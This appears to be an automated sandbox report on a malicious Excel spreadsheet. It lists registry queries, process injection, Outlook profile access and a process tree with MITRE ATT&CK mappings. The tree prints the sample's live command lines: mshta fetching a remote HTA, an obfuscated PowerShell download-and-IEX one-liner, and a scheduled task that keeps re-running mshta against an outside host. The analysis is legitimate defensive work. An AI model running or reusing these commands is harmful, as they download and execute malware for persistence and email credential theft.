0fefe416888a41939d0d7143846844edac1b4ee1ea5fd8f98a893ade7a62d34f

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4708 set thread context of 408	4708	powershell.exe	106
PID 4708 set thread context of 3972	4708	powershell.exe	107
PID 4708 set thread context of 4236	4708	powershell.exe	108

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1428	schtasks.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
220	taskkill.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
940	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2256	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
408	jsc.exe
408	jsc.exe
408	jsc.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	taskkill.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4452	dw20.exe
Token: SeBackupPrivilege	4452	dw20.exe
Token: SeRestorePrivilege	4408	dw20.exe
Token: SeBackupPrivilege	4408	dw20.exe
Token: SeDebugPrivilege	408	jsc.exe
Token: SeBackupPrivilege	4452	dw20.exe
Token: SeBackupPrivilege	4408	dw20.exe
Token: SeBackupPrivilege	4408	dw20.exe
Token: SeBackupPrivilege	4408	dw20.exe
Token: SeBackupPrivilege	4452	dw20.exe
Token: SeBackupPrivilege	4452	dw20.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
2256	EXCEL.EXE
408	jsc.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2396	2256	EXCEL.EXE	94
PID 2256 wrote to memory of 2396	2256	EXCEL.EXE	94
PID 2396 wrote to memory of 3320	2396	rundll32.exe	95
PID 2396 wrote to memory of 3320	2396	rundll32.exe	95
PID 3320 wrote to memory of 220	3320	mshta.exe	99
PID 3320 wrote to memory of 220	3320	mshta.exe	99
PID 3320 wrote to memory of 4708	3320	mshta.exe	101
PID 3320 wrote to memory of 4708	3320	mshta.exe	101
PID 3320 wrote to memory of 1428	3320	mshta.exe	102
PID 3320 wrote to memory of 1428	3320	mshta.exe	102
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 408	4708	powershell.exe	106
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 3972	4708	powershell.exe	107
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 4708 wrote to memory of 4236	4708	powershell.exe	108
PID 3972 wrote to memory of 4408	3972	caspol.exe	110
PID 3972 wrote to memory of 4408	3972	caspol.exe	110
PID 3972 wrote to memory of 4408	3972	caspol.exe	110
PID 4236 wrote to memory of 4452	4236	Msbuild.exe	109
PID 4236 wrote to memory of 4452	4236	Msbuild.exe	109
PID 4236 wrote to memory of 4452	4236	Msbuild.exe	109
PID 4708 wrote to memory of 4776	4708	powershell.exe	114
PID 4708 wrote to memory of 4776	4708	powershell.exe	114
PID 4776 wrote to memory of 4604	4776	csc.exe	115
PID 4776 wrote to memory of 4604	4776	csc.exe	115
PID 4708 wrote to memory of 4464	4708	powershell.exe	116
PID 4708 wrote to memory of 4464	4708	powershell.exe	116
PID 4464 wrote to memory of 4288	4464	csc.exe	117
PID 4464 wrote to memory of 4288	4464	csc.exe	117
PID 4708 wrote to memory of 940	4708	powershell.exe	118
PID 4708 wrote to memory of 940	4708	powershell.exe	118

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jsc.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Microsoft_Excel_97-2003_Worksheet3.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32 SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.mediafire.com/file/6vip6utwodclo5k/1.htm/file"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" "https://www.mediafire.com/file/6vip6utwodclo5k/1.htm/file"
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\System32\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WinWord.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (I'r'M('https://www.mediafire.com/file/js9o7zmm8jxypb0/1.txt/file') -useB) | .('{欠}{吗}'.replace('吗','0').replace('欠','1')-f'你','疯').replace('疯','I').replace('你','EX') | ping 127.你疯了.你疯了.1
      4⤵
      Blocklisted process makes network request
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4708
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        5⤵
        Drops file in Drivers directory
        Accesses Microsoft Outlook profiles
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        outlook_office_path
        outlook_win_path
        
        PID:408
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3972
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 776
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
    - - C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4236
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 756
        6⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4452
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\w1w2ox34\w1w2ox34.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4776
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES700.tmp" "c:\Users\Admin\AppData\Local\Temp\w1w2ox34\CSCA78577D31D6949C59D8733FD13CC86EA.TMP"
        6⤵
        
        PID:4604
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\s4ekyw1g\s4ekyw1g.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES241D.tmp" "c:\Users\Admin\AppData\Local\Temp\s4ekyw1g\CSCD220EE8F176D47A7BABD7B5E7AF78E.TMP"
        6⤵
        
        PID:4288
    - - C:\Windows\system32\PING.EXE
        
        "C:\Windows\system32\PING.EXE" 127.你疯了.你疯了.1
        5⤵
        Runs ping.exe
        
        PID:940
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 73 /tn micsrssowfwWorsald /F /tr """Mshta""""""http://www.webclientservices.co.uk/p/1.html"""
      4⤵
      Creates scheduled task(s)
      PID:1428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery